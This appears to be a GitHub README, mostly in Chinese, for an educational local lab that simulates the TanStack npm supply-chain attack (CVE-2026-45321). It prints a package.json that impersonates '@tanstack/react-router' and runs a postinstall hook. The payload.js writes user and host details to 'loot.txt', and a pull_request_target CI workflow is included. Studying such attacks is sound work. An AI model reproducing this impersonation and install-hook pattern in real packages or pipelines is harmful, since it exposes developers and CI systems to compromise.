adriannurrr/CVE-2026-45321-Tanstack
GitHub: adriannurrr/CVE-2026-45321-Tanstack
一个用于教学和防御性安全研究的本地实验室项目,模拟 CVE-2026-45321 中 TanStack npm 包供应链攻击的基本原理。
Stars: 0 | Forks: 0
# 供应链攻击模拟 — CVE-2026-45321 (TanStack)
## 免责声明
本项目仅用于:
* 网络安全学习,
* 防御性安全研究,
* 本地实验室模拟,
* 理解 supply chain attack 概念。
请勿将本项目用于:
* 攻击真实系统,
* 窃取 credential,
* 恶意软件部署,
* 未经授权的访问(unauthorized access),
* 或任何其他非法活动。
# 描述
本实验室模拟了以下事件的基本概念:
* CVE-2026-45321
* TanStack npm Supply Chain Compromise
* GitHub Actions CI/CD 滥用
* npm Lifecycle Script 执行
模拟在本地安全进行,不包含:
* 真实的 credential 窃取,
* token exfiltration,
* 或妥协第三方服务。
# 实验室结构
```
lab/
├── fake-repo/ # Simulasi repository target
├── attacker-package/ # Simulasi package malicious
└── victim-project/ # Simulasi korban
```
# 模拟工作原理
```
Attacker Package
↓
npm install
↓
postinstall script berjalan
↓
payload.js dieksekusi otomatis
↓
Korban terkena install-time execution
```
# 学习概念
* npm lifecycle hooks
* 安装时任意代码执行
* supply chain attack
* CI/CD 信任边界
* 恶意 npm package
* postinstall 滥用
* dependency 妥协
# 安装说明
## 1. 克隆仓库
```
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
```
# 设置攻击者 Package
## 2. 进入攻击者 Package 文件夹
```
cd attacker-package
```
## 3. 安装 Dependency
```
npm install
```
## 4. 构建 Tarball Package
```
npm pack
```
结果:
```
tanstack-react-router-1.169.5.tgz
```
# 模拟受害者
## 5. 进入受害者项目
```
cd ../victim-project
```
## 6. 安装恶意 Package
```
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
```
# 输出
如果成功,将会出现:
```
=== MALICIOUS PAYLOAD EXECUTED ===
```
并且文件:
```
loot.txt
```
将被自动创建。
# payload.js 示例
```
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
```
# package.json 示例
```
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
```
# CI/CD 模拟
本项目也可用于理解:
* GitHub Actions
* pull_request_target
* CI/CD 权限边界
* dependency 执行
工作流示例:
```
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
```
# 与 CVE-2026-45321 的关系
| 实验室模拟 | 真实世界 |
| ---------------- | ---------------------------- |
| attacker-package | 受感染的 TanStack package |
| payload.js | 恶意安装程序 |
| postinstall | lifecycle hook 滥用 |
| victim-project | 受害者开发者/CI |
| fake-repo | GitHub Actions pipeline |
# 参考
* https://nvd.nist.gov/vuln/detail/CVE-2026-45321
* https://tanstack.com/blog/npm-supply-chain-compromise-postmortem
* https://docs.npmjs.com/cli/v10/using-npm/scripts
* https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
# 仅用于教育目的
建立此实验室旨在提高对以下方面的认识:
* 供应链安全,
* dependency 安全,
* CI/CD 安全,
* 以及防御性安全研究。
标签:CI/CD安全, DAST, Llama, MITM代理, npm, 供应链攻击, 恶意软件分析, 数据可视化, 暗色界面, 漏洞复现, 自定义脚本